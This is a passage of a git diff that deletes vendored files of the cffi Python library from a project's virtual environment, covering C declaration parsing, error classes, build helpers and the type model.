range(prefixes.get(prefix, 0)): - newnames.append(prefix) - if not names: - names = ['int'] # implicitly - if names == ['int']: # but kill it if 'short' or 'long' - if 'short' in prefixes or 'long' in prefixes: - names = [] - names = newnames + names - ident = ' '.join(names) - if ident == 'void': - return model.void_type, quals - if ident == '__dotdotdot__': - raise FFIError(':%d: bad usage of "..."' % - typenode.coord.line) - tp0, quals0 = resolve_common_type(self, ident) - return tp0, (quals | quals0) - # - if isinstance(type, pycparser.c_ast.Struct): - # 'struct foobar' - tp = self._get_struct_union_enum_type('struct', type, name) - return tp, quals - # - if isinstance(type, pycparser.c_ast.Union): - # 'union foobar' - tp = self._get_struct_union_enum_type('union', type, name) - return tp, quals - # - if isinstance(type, pycparser.c_ast.Enum): - # 'enum foobar' - tp = self._get_struct_union_enum_type('enum', type, name) - return tp, quals - # - if isinstance(typenode, pycparser.c_ast.FuncDecl): - # a function type - return self._parse_function_type(typenode, name), 0 - # - # nested anonymous structs or unions end up here - if isinstance(typenode, pycparser.c_ast.Struct): - return self._get_struct_union_enum_type('struct', typenode, name, - nested=True), 0 - if isinstance(typenode, pycparser.c_ast.Union): - return self._get_struct_union_enum_type('union', typenode, name, - nested=True), 0 - # - raise FFIError(":%d: bad or unsupported type declaration" % - typenode.coord.line) - - def _parse_function_type(self, typenode, funcname=None): - params = list(getattr(typenode.args, 'params', [])) - for i, arg in enumerate(params): - if not hasattr(arg, 'type'): - raise CDefError("%s arg %d: unknown type '%s'" - " (if you meant to use the old C syntax of giving" - " untyped arguments, it is not supported)" - % (funcname or 'in expression', i + 1, - getattr(arg, 'name', '?'))) - ellipsis = ( - len(params) > 0 and - isinstance(params[-1].type, pycparser.c_ast.TypeDecl) and - isinstance(params[-1].type.type, - pycparser.c_ast.IdentifierType) and - params[-1].type.type.names == ['__dotdotdot__']) - if ellipsis: - params.pop() - if not params: - raise CDefError( - "%s: a function with only '(...)' as argument" - " is not correct C" % (funcname or 'in expression')) - args = [self._as_func_arg(*self._get_type_and_quals(argdeclnode.type)) - for argdeclnode in params] - if not ellipsis and args == [model.void_type]: - args = [] - result, quals = self._get_type_and_quals(typenode.type) - # the 'quals' on the result type are ignored. HACK: we absure them - # to detect __stdcall functions: we textually replace "__stdcall" - # with "volatile volatile const" above. - abi = None - if hasattr(typenode.type, 'quals'): # else, probable syntax error anyway - if typenode.type.quals[-3:] == ['volatile', 'volatile', 'const']: - abi = '__stdcall' - return model.RawFunctionType(tuple(args), result, ellipsis, abi) - - def _as_func_arg(self, type, quals): - if isinstance(type, model.ArrayType): - return model.PointerType(type.item, quals) - elif isinstance(type, model.RawFunctionType): - return type.as_function_pointer() - else: - return type - - def _get_struct_union_enum_type(self, kind, type, name=None, nested=False): - # First, a level of caching on the exact 'type' node of the AST. - # This is obscure, but needed because pycparser "unrolls" declarations - # such as "typedef struct { } foo_t, *foo_p" and we end up with - # an AST that is not a tree, but a DAG, with the "type" node of the - # two branches foo_t and foo_p of the trees being the same node. - # It's a bit silly but detecting "DAG-ness" in the AST tree seems - # to be the only way to distinguish this case from two independent - # structs. See test_struct_with_two_usages. - try: - return self._structnode2type[type] - except KeyError: - pass - # - # Note that this must handle parsing "struct foo" any number of - # times and always return the same StructType object. Additionally, - # one of these times (not necessarily the first), the fields of - # the struct can be specified with "struct foo { ...fields... }". - # If no name is given, then we have to create a new anonymous struct - # with no caching; in this case, the fields are either specified - # right now or never. - # - force_name = name - name = type.name - # - # get the type or create it if needed - if name is None: - # 'force_name' is used to guess a more readable name for - # anonymous structs, for the common case "typedef struct { } foo". - if force_name is not None: - explicit_name = '$%s' % force_name - else: - self._anonymous_counter += 1 - explicit_name = '$%d' % self._anonymous_counter - tp = None - else: - explicit_name = name - key = '%s %s' % (kind, name) - tp, _ = self._declarations.get(key, (None, None)) - # - if tp is None: - if kind == 'struct': - tp = model.StructType(explicit_name, None, None, None) - elif kind == 'union': - tp = model.UnionType(explicit_name, None, None, None) - elif kind == 'enum': - if explicit_name == '__dotdotdot__': - raise CDefError("Enums cannot be declared with ...") - tp = self._build_enum_type(explicit_name, type.values) - else: - raise AssertionError("kind = %r" % (kind,)) - if name is not None: - self._declare(key, tp) - elif kind == 'enum' and type.values is not None: - raise NotImplementedError( - "enum %s: the '{}' declaration should appear on the first " - "time the enum is mentioned, not later" % explicit_name) - if not tp.forcename: - tp.force_the_name(force_name) - if tp.forcename and '$' in tp.name: - self._declare('anonymous %s' % tp.forcename, tp) - # - self._structnode2type[type] = tp - # - # enums: done here - if kind == 'enum': - return tp - # - # is there a 'type.decls'? If yes, then this is the place in the - # C sources that declare the fields. If no, then just return the - # existing type, possibly still incomplete. - if type.decls is None: - return tp - # - if tp.fldnames is not None: - raise CDefError("duplicate declaration of struct %s" % name) - fldnames = [] - fldtypes = [] - fldbitsize = [] - fldquals = [] - for decl in type.decls: - if (isinstance(decl.type, pycparser.c_ast.IdentifierType) and - ''.join(decl.type.names) == '__dotdotdot__'): - # XXX pycparser is inconsistent: 'names' should be a list - # of strings, but is sometimes just one string. Use - # str.join() as a way to cope with both. - self._make_partial(tp, nested) - continue - if decl.bitsize is None: - bitsize = -1 - else: - bitsize = self._parse_constant(decl.bitsize) - self._partial_length = False - type, fqual = self._get_type_and_quals(decl.type, - partial_length_ok=True) - if self._partial_length: - self._make_partial(tp, nested) - if isinstance(type, model.StructType) and type.partial: - self._make_partial(tp, nested) - fldnames.append(decl.name or '') - fldtypes.append(type) - fldbitsize.append(bitsize) - fldquals.append(fqual) - tp.fldnames = tuple(fldnames) - tp.fldtypes = tuple(fldtypes) - tp.fldbitsize = tuple(fldbitsize) - tp.fldquals = tuple(fldquals) - if fldbitsize != [-1] * len(fldbitsize): - if isinstance(tp, model.StructType) and tp.partial: - raise NotImplementedError("%s: using both bitfields and '...;'" - % (tp,)) - tp.packed = self._options.get('packed') - if tp.completed: # must be re-completed: it is not opaque any more - tp.completed = 0 - self._recomplete.append(tp) - return tp - - def _make_partial(self, tp, nested): - if not isinstance(tp, model.StructOrUnion): - raise CDefError("%s cannot be partial" % (tp,)) - if not tp.has_c_name() and not nested: - raise NotImplementedError("%s is partial but has no C name" %(tp,)) - tp.partial = True - - def _parse_constant(self, exprnode, partial_length_ok=False): - # for now, limited to expressions that are an immediate number - # or positive/negative number - if isinstance(exprnode, pycparser.c_ast.Constant): - s = exprnode.value - if '0' <= s[0] <= '9': - s = s.rstrip('uUlL') - try: - if s.startswith('0'): - return int(s, 8) - else: - return int(s, 10) - except ValueError: - if len(s) > 1: - if s.lower()[0:2] == '0x': - return int(s, 16) - elif s.lower()[0:2] == '0b': - return int(s, 2) - raise CDefError("invalid constant %r" % (s,)) - elif s[0] == "'" and s[-1] == "'" and ( - len(s) == 3 or (len(s) == 4 and s[1] == "\\")): - return ord(s[-2]) - else: - raise CDefError("invalid constant %r" % (s,)) - # - if (isinstance(exprnode, pycparser.c_ast.UnaryOp) and - exprnode.op == '+'): - return self._parse_constant(exprnode.expr) - # - if (isinstance(exprnode, pycparser.c_ast.UnaryOp) and - exprnode.op == '-'): - return -self._parse_constant(exprnode.expr) - # load previously defined int constant - if (isinstance(exprnode, pycparser.c_ast.ID) and - exprnode.name in self._int_constants): - return self._int_constants[exprnode.name] - # - if (isinstance(exprnode, pycparser.c_ast.ID) and - exprnode.name == '__dotdotdotarray__'): - if partial_length_ok: - self._partial_length = True - return '...' - raise FFIError(":%d: unsupported '[...]' here, cannot derive " - "the actual array length in this context" - % exprnode.coord.line) - # - if isinstance(exprnode, pycparser.c_ast.BinaryOp): - left = self._parse_constant(exprnode.left) - right = self._parse_constant(exprnode.right) - if exprnode.op == '+': - return left + right - elif exprnode.op == '-': - return left - right - elif exprnode.op == '*': - return left * right - elif exprnode.op == '/': - return self._c_div(left, right) - elif exprnode.op == '%': - return left - self._c_div(left, right) * right - elif exprnode.op == '<<': - return left << right - elif exprnode.op == '>>': - return left >> right - elif exprnode.op == '&': - return left & right - elif exprnode.op == '|': - return left | right - elif exprnode.op == '^': - return left ^ right - # - raise FFIError(":%d: unsupported expression: expected a " - "simple numeric constant" % exprnode.coord.line) - - def _c_div(self, a, b): - result = a // b - if ((a < 0) ^ (b < 0)) and (a % b) != 0: - result += 1 - return result - - def _build_enum_type(self, explicit_name, decls): - if decls is not None: - partial = False - enumerators = [] - enumvalues = [] - nextenumvalue = 0 - for enum in decls.enumerators: - if _r_enum_dotdotdot.match(enum.name): - partial = True - continue - if enum.value is not None: - nextenumvalue = self._parse_constant(enum.value) - enumerators.append(enum.name) - enumvalues.append(nextenumvalue) - self._add_constants(enum.name, nextenumvalue) - nextenumvalue += 1 - enumerators = tuple(enumerators) - enumvalues = tuple(enumvalues) - tp = model.EnumType(explicit_name, enumerators, enumvalues) - tp.partial = partial - else: # opaque enum - tp = model.EnumType(explicit_name, (), ()) - return tp - - def include(self, other): - for name, (tp, quals) in other._declarations.items(): - if name.startswith('anonymous $enum_$'): - continue # fix for test_anonymous_enum_include - kind = name.split(' ', 1)[0] - if kind in ('struct', 'union', 'enum', 'anonymous', 'typedef'): - self._declare(name, tp, included=True, quals=quals) - for k, v in other._int_constants.items(): - self._add_constants(k, v) - - def _get_unknown_type(self, decl): - typenames = decl.type.type.names - if typenames == ['__dotdotdot__']: - return model.unknown_type(decl.name) - - if typenames == ['__dotdotdotint__']: - if self._uses_new_feature is None: - self._uses_new_feature = "'typedef int... %s'" % decl.name - return model.UnknownIntegerType(decl.name) - - if typenames == ['__dotdotdotfloat__']: - # note: not for 'long double' so far - if self._uses_new_feature is None: - self._uses_new_feature = "'typedef float... %s'" % decl.name - return model.UnknownFloatType(decl.name) - - raise FFIError(':%d: unsupported usage of "..." in typedef' - % decl.coord.line) - - def _get_unknown_ptr_type(self, decl): - if decl.type.type.type.names == ['__dotdotdot__']: - return model.unknown_ptr_type(decl.name) - raise FFIError(':%d: unsupported usage of "..." in typedef' - % decl.coord.line) diff --git a/venv/Lib/site-packages/cffi/error.py b/venv/Lib/site-packages/cffi/error.py deleted file mode 100644 index 0a27247c32a381ab7cecedd0f985b781619c1ea5..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cffi/error.py +++ /dev/null @@ -1,31 +0,0 @@ - -class FFIError(Exception): - __module__ = 'cffi' - -class CDefError(Exception): - __module__ = 'cffi' - def __str__(self): - try: - current_decl = self.args[1] - filename = current_decl.coord.file - linenum = current_decl.coord.line - prefix = '%s:%d: ' % (filename, linenum) - except (AttributeError, TypeError, IndexError): - prefix = '' - return '%s%s' % (prefix, self.args[0]) - -class VerificationError(Exception): - """ An error raised when verification fails - """ - __module__ = 'cffi' - -class VerificationMissing(Exception): - """ An error raised when incomplete structures are passed into - cdef, but no verification has been done - """ - __module__ = 'cffi' - -class PkgConfigError(Exception): - """ An error raised for missing modules in pkg-config - """ - __module__ = 'cffi' diff --git a/venv/Lib/site-packages/cffi/ffiplatform.py b/venv/Lib/site-packages/cffi/ffiplatform.py deleted file mode 100644 index adca28f1a480bb04a11977d26457fe8886139043..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cffi/ffiplatform.py +++ /dev/null @@ -1,113 +0,0 @@ -import sys, os -from .error import VerificationError - - -LIST_OF_FILE_NAMES = ['sources', 'include_dirs', 'library_dirs', - 'extra_objects', 'depends'] - -def get_extension(srcfilename, modname, sources=(), **kwds): - from cffi._shimmed_dist_utils import Extension - allsources = [srcfilename] - for src in sources: - allsources.append(os.path.normpath(src)) - return Extension(name=modname, sources=allsources, **kwds) - -def compile(tmpdir, ext, compiler_verbose=0, debug=None): - """Compile a C extension module using distutils.""" - - saved_environ = os.environ.copy() - try: - outputfilename = _build(tmpdir, ext, compiler_verbose, debug) - outputfilename = os.path.abspath(outputfilename) - finally: - # workaround for a distutils bugs where some env vars can - # become longer and longer every time it is used - for key, value in saved_environ.items(): - if os.environ.get(key) != value: - os.environ[key] = value - return outputfilename - -def _build(tmpdir, ext, compiler_verbose=0, debug=None): - # XXX compact but horrible :-( - from cffi._shimmed_dist_utils import Distribution, CompileError, LinkError, set_threshold, set_verbosity - - dist = Distribution({'ext_modules': [ext]}) - dist.parse_config_files() - options = dist.get_option_dict('build_ext') - if debug is None: - debug = sys.flags.debug - options['debug'] = ('ffiplatform', debug) - options['force'] = ('ffiplatform', True) - options['build_lib'] = ('ffiplatform', tmpdir) - options['build_temp'] = ('ffiplatform', tmpdir) - # - try: - old_level = set_threshold(0) or 0 - try: - set_verbosity(compiler_verbose) - dist.run_command('build_ext') - cmd_obj = dist.get_command_obj('build_ext') - [soname] = cmd_obj.get_outputs() - finally: - set_threshold(old_level) - except (CompileError, LinkError) as e: - raise VerificationError('%s: %s' % (e.__class__.__name__, e)) - # - return soname - -try: - from os.path import samefile -except ImportError: - def samefile(f1, f2): - return os.path.abspath(f1) == os.path.abspath(f2) - -def maybe_relative_path(path): - if not os.path.isabs(path): - return path # already relative - dir = path - names = [] - while True: - prevdir = dir - dir, name = os.path.split(prevdir) - if dir == prevdir or not dir: - return path # failed to make it relative - names.append(name) - try: - if samefile(dir, os.curdir): - names.reverse() - return os.path.join(*names) - except OSError: - pass - -# ____________________________________________________________ - -try: - int_or_long = (int, long) - import cStringIO -except NameError: - int_or_long = int # Python 3 - import io as cStringIO - -def _flatten(x, f): - if isinstance(x, str): - f.write('%ds%s' % (len(x), x)) - elif isinstance(x, dict): - keys = sorted(x.keys()) - f.write('%dd' % len(keys)) - for key in keys: - _flatten(key, f) - _flatten(x[key], f) - elif isinstance(x, (list, tuple)): - f.write('%dl' % len(x)) - for value in x: - _flatten(value, f) - elif isinstance(x, int_or_long): - f.write('%di' % (x,)) - else: - raise TypeError( - "the keywords to verify() contains unsupported object %r" % (x,)) - -def flatten(x): - f = cStringIO.StringIO() - _flatten(x, f) - return f.getvalue() diff --git a/venv/Lib/site-packages/cffi/gen_src.py b/venv/Lib/site-packages/cffi/gen_src.py deleted file mode 100644 index 8eb57b169520dd546ff5aebbf9c1121ed9886402..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cffi/gen_src.py +++ /dev/null @@ -1,5 +0,0 @@ -"""Entry point so ``python -m cffi.gen_src`` works.""" - -if __name__ == '__main__': - from cffi._cffi_gen_src import run - run() diff --git a/venv/Lib/site-packages/cffi/lock.py b/venv/Lib/site-packages/cffi/lock.py deleted file mode 100644 index db91b7158c4ee9aa653462fe38e79ed1b553db87..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cffi/lock.py +++ /dev/null @@ -1,30 +0,0 @@ -import sys - -if sys.version_info < (3,): - try: - from thread import allocate_lock - except ImportError: - from dummy_thread import allocate_lock -else: - try: - from _thread import allocate_lock - except ImportError: - from _dummy_thread import allocate_lock - - -##import sys -##l1 = allocate_lock - -##class allocate_lock(object): -## def __init__(self): -## self._real = l1() -## def __enter__(self): -## for i in range(4, 0, -1): -## print sys._getframe(i).f_code -## print -## return self._real.__enter__() -## def __exit__(self, *args): -## return self._real.__exit__(*args) -## def acquire(self, f): -## assert f is False -## return self._real.acquire(f) diff --git a/venv/Lib/site-packages/cffi/model.py b/venv/Lib/site-packages/cffi/model.py deleted file mode 100644 index 8bade1d6dcae9d8f07bf7199af820d2befc1c1c1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cffi/model.py +++ /dev/null @@ -1,617 +0,0 @@ -import types -import weakref - -from .lock import allocate_lock -from .error import CDefError, VerificationError, VerificationMissing - -# type qualifiers -Q_CONST = 0x01 -Q_RESTRICT = 0x02 -Q_VOLATILE = 0x04 - -def qualify(quals, replace_with): - if quals & Q_CONST: - replace_with = ' const ' + replace_with.lstrip() - if quals & Q_VOLATILE: - replace_with = ' volatile ' + replace_with.lstrip() - if quals & Q_RESTRICT: - # It seems that __restrict is supported by gcc and msvc. - # If you hit some different compiler, add a #define in - # _cffi_include.h for it (and in its copies, documented there) - replace_with = ' __restrict ' + replace_with.lstrip() - return replace_with - - -class BaseTypeByIdentity: - is_array_type = False - is_raw_function = False - - def get_c_name(self, replace_with='', context='a C file', quals=0): - result = self.c_name_with_marker - assert result.count('&') == 1 - # some logic duplication with ffi.getctype()... :-( - replace_with = replace_with.strip() - if replace_with: - if replace_with.startswith('*') and '&[' in result: - replace_with = '(%s)' % replace_with - elif replace_with[0] not in '[(': - replace_with = ' ' + replace_with - replace_with = qualify(quals, replace_with) - result = result.replace('&', replace_with) - if '$' in result: - raise VerificationError( - "cannot generate '%s' in %s: unknown type name" - % (self._get_c_name(), context)) - return result - - def _get_c_name(self): - return self.c_name_with_marker.replace('&', '') - - def has_c_name(self): - return '$' not in self._get_c_name() - - def is_integer_type(self): - return False - - def get_cached_btype(self, ffi, finishlist, can_delay=False): - try: - BType = ffi._cached_btypes[self] - except KeyError: - BType = self.build_backend_type(ffi, finishlist) - BType2 = ffi._cached_btypes.setdefault(self, BType) - assert BType2 is BType - return BType - - def __repr__(self): - return '<%s>' % (self._get_c_name(),) - - def _get_items(self): - return [(name, getattr(self, name)) for name in self._attrs_] - - -class BaseType(BaseTypeByIdentity): - - def __eq__(self, other): - return (self.__class__ == other.__class__ and - self._get_items() == other._get_items()) - - def __ne__(self, other): - return not self == other - - def __hash__(self): - return hash((self.__class__, tuple(self._get_items()))) - - -class VoidType(BaseType): - _attrs_ = () - - def __init__(self): - self.c_name_with_marker = 'void&' - - def build_backend_type(self, ffi, finishlist): - return global_cache(self, ffi, 'new_void_type') - -void_type = VoidType() - - -class BasePrimitiveType(BaseType): - def is_complex_type(self): - return False - - -class PrimitiveType(BasePrimitiveType): - _attrs_ = ('name',) - - ALL_PRIMITIVE_TYPES = { - 'char': 'c', - 'short': 'i', - 'int': 'i', - 'long': 'i', - 'long long': 'i', - 'signed char': 'i', - 'unsigned char': 'i', - 'unsigned short': 'i', - 'unsigned int': 'i', - 'unsigned long': 'i', - 'unsigned long long': 'i', - 'float': 'f', - 'double': 'f', - 'long double': 'f', - '_cffi_float_complex_t': 'j', - '_cffi_double_complex_t': 'j', - '_Bool': 'i', - # the following types are not primitive in the C sense - 'wchar_t': 'c', - 'char16_t': 'c', - 'char32_t': 'c', - 'int8_t': 'i', - 'uint8_t': 'i', - 'int16_t': 'i', - 'uint16_t': 'i', - 'int32_t': 'i', - 'uint32_t': 'i', - 'int64_t': 'i', - 'uint64_t': 'i', - 'int_least8_t': 'i', - 'uint_least8_t': 'i', - 'int_least16_t': 'i', - 'uint_least16_t': 'i', - 'int_least32_t': 'i', - 'uint_least32_t': 'i', - 'int_least64_t': 'i', - 'uint_least64_t': 'i', - 'int_fast8_t': 'i', - 'uint_fast8_t': 'i', - 'int_fast16_t': 'i', - 'uint_fast16_t': 'i', - 'int_fast32_t': 'i', - 'uint_fast32_t': 'i', - 'int_fast64_t': 'i', - 'uint_fast64_t': 'i', - 'intptr_t': 'i', - 'uintptr_t': 'i', - 'intmax_t': 'i', - 'uintmax_t': 'i', - 'ptrdiff_t': 'i', - 'size_t': 'i', - 'ssize_t': 'i', - } - - def __init__(self, name): - assert name in self.ALL_PRIMITIVE_TYPES - self.name = name - self.c_name_with_marker = name + '&' - - def is_char_type(self): - return self.ALL_PRIMITIVE_TYPES[self.name] == 'c' - def is_integer_type(self): - return self.ALL_PRIMITIVE_TYPES[self.name] == 'i' - def is_float_type(self): - return self.ALL_PRIMITIVE_TYPES[self.name] == 'f' - def is_complex_type(self): - return self.ALL_PRIMITIVE_TYPES[self.name] == 'j' - - def build_backend_type(self, ffi, finishlist): - return global_cache(self, ffi, 'new_primitive_type', self.name) - - -class UnknownIntegerType(BasePrimitiveType): - _attrs_ = ('name',) - - def __init__(self, name): - self.name = name - self.c_name_with_marker = name + '&' - - def is_integer_type(self): - return True - - def build_backend_type(self, ffi, finishlist): - raise NotImplementedError("integer type '%s' can only be used after " - "compilation" % self.name) - -class UnknownFloatType(BasePrimitiveType): - _attrs_ = ('name', ) - - def __init__(self, name): - self.name = name - self.c_name_with_marker = name + '&' - - def build_backend_type(self, ffi, finishlist): - raise NotImplementedError("float type '%s' can only be used after " - "compilation" % self.name) - - -class BaseFunctionType(BaseType): - _attrs_ = ('args', 'result', 'ellipsis', 'abi') - - def __init__(self, args, result, ellipsis, abi=None): - self.args = args - self.result = result - self.ellipsis = ellipsis - self.abi = abi - # - reprargs = [arg._get_c_name() for arg in self.args] - if self.ellipsis: - reprargs.append('...') - reprargs = reprargs or ['void'] - replace_with = self._base_pattern % (', '.join(reprargs),) - if abi is not None: - replace_with = replace_with[:1] + abi + ' ' + replace_with[1:] - self.c_name_with_marker = ( - self.result.c_name_with_marker.replace('&', replace_with)) - - -class RawFunctionType(BaseFunctionType): - # Corresponds to a C type like 'int(int)', which is the C type of - # a function, but not a pointer-to-function. The backend has no - # notion of such a type; it's used temporarily by parsing. - _base_pattern = '(&)(%s)' - is_raw_function = True - - def build_backend_type(self, ffi, finishlist): - raise CDefError("cannot render the type %r: it is a function " - "type, not a pointer-to-function type" % (self,)) - - def as_function_pointer(self): - return FunctionPtrType(self.args, self.result, self.ellipsis, self.abi) - - -class FunctionPtrType(BaseFunctionType): - _base_pattern = '(*&)(%s)' - - def build_backend_type(self, ffi, finishlist): - result = self.result.get_cached_btype(ffi, finishlist) - args = [] - for tp in self.args: - args.append(tp.get_cached_btype(ffi, finishlist)) - abi_args = () - if self.abi == "__stdcall": - if not self.ellipsis: # __stdcall ignored for variadic funcs - try: - abi_args = (ffi._backend.FFI_STDCALL,) - except AttributeError: - pass - return global_cache(self, ffi, 'new_function_type', - tuple(args), result, self.ellipsis, *abi_args) - - def as_raw_function(self): - return RawFunctionType(self.args, self.result, self.ellipsis, self.abi) - - -class PointerType(BaseType): - _attrs_ = ('totype', 'quals') - - def __init__(self, totype, quals=0): - self.totype = totype - self.quals = quals - extra = " *&" - if totype.is_array_type: - extra = "(%s)" % (extra.lstrip(),) - extra = qualify(quals, extra) - self.c_name_with_marker = totype.c_name_with_marker.replace('&', extra) - - def build_backend_type(self, ffi, finishlist): - BItem = self.totype.get_cached_btype(ffi, finishlist, can_delay=True) - return global_cache(self, ffi, 'new_pointer_type', BItem) - -voidp_type = PointerType(void_type) - -def ConstPointerType(totype): - return PointerType(totype, Q_CONST) - -const_voidp_type = ConstPointerType(void_type) - - -class NamedPointerType(PointerType): - _attrs_ = ('totype', 'name') - - def __init__(self, totype, name, quals=0): - PointerType.__init__(self, totype, quals) - self.name = name - self.c_name_with_marker = name + '&' - - -class ArrayType(BaseType): - _attrs_ = ('item', 'length') - is_array_type = True - - def __init__(self, item, length): - self.item = item - self.length = length - # - if length is None: - brackets = '&[]' - elif length == '...': - brackets = '&[/*...*/]' - else: - brackets = '&[%s]' % length - self.c_name_with_marker = ( - self.item.c_name_with_marker.replace('&', brackets)) - - def length_is_unknown(self): - return isinstance(self.length, str) - - def resolve_length(self, newlength): - return ArrayType(self.item, newlength) - - def build_backend_type(self, ffi, finishlist): - if self.length_is_unknown(): - raise CDefError("cannot render the type %r: unknown length" % - (self,)) - self.item.get_cached_btype(ffi, finishlist) # force the item BType - BPtrItem = PointerType(self.item).get_cached_btype(ffi, finishlist) - return global_cache(self, ffi, 'new_array_type', BPtrItem, self.length) - -char_array_type = ArrayType(PrimitiveType('char'), None) - - -class StructOrUnionOrEnum(BaseTypeByIdentity): - _attrs_ = ('name',) - forcename = None - - def build_c_name_with_marker(self): - name = self.forcename or '%s %s' % (self.kind, self.name) - self.c_name_with_marker = name + '&' - - def force_the_name(self, forcename): - self.forcename = forcename - self.build_c_name_with_marker() - - def get_official_name(self): - assert self.c_name_with_marker.endswith('&') - return self.c_name_with_marker[:-1] - - -class StructOrUnion(StructOrUnionOrEnum): - fixedlayout = None - completed = 0 - partial = False - packed = 0 - - def __init__(self, name, fldnames, fldtypes, fldbitsize, fldquals=None): - self.name = name - self.fldnames = fldnames - self.fldtypes = fldtypes - self.fldbitsize = fldbitsize - self.fldquals = fldquals - self.build_c_name_with_marker() - - def anonymous_struct_fields(self): - if self.fldtypes is not None: - for name, type in zip(self.fldnames, self.fldtypes): - if name == '' and isinstance(type, StructOrUnion): - yield type - - def enumfields(self, expand_anonymous_struct_union=True): - fldquals = self.fldquals - if fldquals is None: - fldquals = (0,) * len(self.fldnames) - for name, type, bitsize, quals in zip(self.fldnames, self.fldtypes, - self.fldbitsize, fldquals): - if (name == '' and isinstance(type, StructOrUnion) - and expand_anonymous_struct_union): - # nested anonymous struct/union - yield from type.enumfields() - else: - yield (name, type, bitsize, quals) - - def force_flatten(self): - # force the struct or union to have a declaration that lists - # directly all fields returned by enumfields(), flattening - # nested anonymous structs/unions. - names = [] - types = [] - bitsizes = [] - fldquals = [] - for name, type, bitsize, quals in self.enumfields(): - names.append(name) - types.append(type) - bitsizes.append(bitsize) - fldquals.append(quals) - self.fldnames = tuple(names) - self.fldtypes = tuple(types) - self.fldbitsize = tuple(bitsizes) - self.fldquals = tuple(fldquals) - - def get_cached_btype(self, ffi, finishlist, can_delay=False): - BType = StructOrUnionOrEnum.get_cached_btype(self, ffi, finishlist, - can_delay) - if not can_delay: - self.finish_backend_type(ffi, finishlist) - return BType - - def finish_backend_type(self, ffi, finishlist): - if self.completed: - if self.completed != 2: - raise NotImplementedError("recursive structure declaration " - "for '%s'" % (self.name,)) - return - BType = ffi._cached_btypes[self] - # - self.completed = 1 - # - if self.fldtypes is None: - pass # not completing it: it's an opaque struct - # - elif self.fixedlayout is None: - fldtypes = [tp.get_cached_btype(ffi, finishlist) - for tp in self.fldtypes] - lst = list(zip(self.fldnames, fldtypes, self.fldbitsize)) - extra_flags = () - if self.packed: - if self.packed == 1: - extra_flags = (8,) # SF_PACKED - else: - extra_flags = (0, self.packed) - ffi._backend.complete_struct_or_union(BType, lst, self, - -1, -1, *extra_flags) - # - else: - fldtypes = [] - fieldofs, fieldsize, totalsize, totalalignment = self.fixedlayout - for i in range(len(self.fldnames)): - fsize = fieldsize[i] - ftype = self.fldtypes[i] - # - if isinstance(ftype, ArrayType) and ftype.length_is_unknown(): - # fix the length to match the total size - BItemType = ftype.item.get_cached_btype(ffi, finishlist) - nlen, nrest = divmod(fsize, ffi.sizeof(BItemType)) - if nrest != 0: - self._verification_error( - "field '%s.%s' has a bogus size?" % ( - self.name, self.fldnames[i] or '{}')) - ftype = ftype.resolve_length(nlen) - self.fldtypes = (self.fldtypes[:i] + (ftype,) + - self.fldtypes[i+1:]) - # - BFieldType = ftype.get_cached_btype(ffi, finishlist) - if isinstance(ftype, ArrayType) and ftype.length is None: - assert fsize == 0 - else: - bitemsize = ffi.sizeof(BFieldType) - if bitemsize != fsize: - self._verification_error( - "field '%s.%s' is declared as %d bytes, but is " - "really %d bytes" % (self.name, - self.fldnames[i] or '{}', - bitemsize, fsize)) - fldtypes.append(BFieldType) - # - lst = list(zip(self.fldnames, fldtypes, self.fldbitsize, fieldofs)) - ffi._backend.complete_struct_or_union(BType, lst, self, - totalsize, totalalignment) - self.completed = 2 - - def _verification_error(self, msg): - raise VerificationError(msg) - - def check_not_partial(self): - if self.partial and self.fixedlayout is None: - raise VerificationMissing(self._get_c_name()) - - def build_backend_type(self, ffi, finishlist): - self.check_not_partial() - finishlist.append(self) - # - return global_cache(self, ffi, 'new_%s_type' % self.kind, - self.get_official_name(), key=self) - - -class StructType(StructOrUnion): - kind = 'struct' - - -class UnionType(StructOrUnion): - kind = 'union' - - -class EnumType(StructOrUnionOrEnum): - kind = 'enum' - partial = False - partial_resolved = False - - def __init__(self, name, enumerators, enumvalues, baseinttype=None): - self.name = name - self.enumerators = enumerators - self.enumvalues = enumvalues - self.baseinttype = baseinttype - self.build_c_name_with_marker() - - def force_the_name(self, forcename): - StructOrUnionOrEnum.force_the_name(self, forcename) - if self.forcename is None: - name = self.get_official_name() - self.forcename = '$' + name.replace(' ', '_') - - def check_not_partial(self): - if self.partial and not self.partial_resolved: - raise VerificationMissing(self._get_c_name()) - - def build_backend_type(self, ffi, finishlist): - self.check_not_partial() - base_btype = self.build_baseinttype(ffi, finishlist) - return global_cache(self, ffi, 'new_enum_type', - self.get_official_name(), - self.enumerators, self.enumvalues, - base_btype, key=self) - - def build_baseinttype(self, ffi, finishlist): - if self.baseinttype is not None: - return self.baseinttype.get_cached_btype(ffi, finishlist) - # - if self.enumvalues: - smallest_value = min(self.enumvalues) - largest_value = max(self.enumvalues) - else: - import warnings - try: - # XXX! The goal is to ensure that the warnings.warn() - # will not suppress the warning. We want to get it - # several times if we reach this point several times. - __warningregistry__.clear() - except NameError: - pass - warnings.warn("%r has no values explicitly defined; " - "guessing that it is equivalent to 'unsigned int'" - % self._get_c_name()) - smallest_value = largest_value = 0 - if smallest_value < 0: # needs a signed type - sign = 1 - candidate1 = PrimitiveType("int") - candidate2 = PrimitiveType("long") - else: - sign = 0 - candidate1 = PrimitiveType("unsigned int") - candidate2 = PrimitiveType("unsigned long") - btype1 = candidate1.get_cached_btype(ffi, finishlist) - btype2 = candidate2.get_cached_btype(ffi, finishlist) - size1 = ffi.sizeof(btype1) - size2 = ffi.sizeof(btype2) - if (smallest_value >= ((-1) << (8*size1-1)) and - largest_value < (1 << (8*size1-sign))): - return btype1 - if (smallest_value >= ((-1) << (8*size2-1)) and - largest_value < (1 << (8*size2-sign))): - return btype2 - raise CDefError("%s values don't all fit into either 'long' " - "or 'unsigned long'" % self._get_c_name()) - -def unknown_type(name, structname=None): - if structname is None: - structname = '$%s' % name - tp = StructType(structname, None, None, None) - tp.force_the_name(name) - tp.origin = "unknown_type" - return tp - -def unknown_ptr_type(name, structname=None): - if structname is None: - structname = '$$%s' % name - tp = StructType(structname, None, None, None) - return NamedPointerType(tp, name) - - -global_lock = allocate_lock() -_typecache_cffi_backend = weakref.WeakValueDictionary() - -def get_typecache(backend): - # returns _typecache_cffi_backend if backend is the _cffi_backend - # module, or type(backend).__typecache if 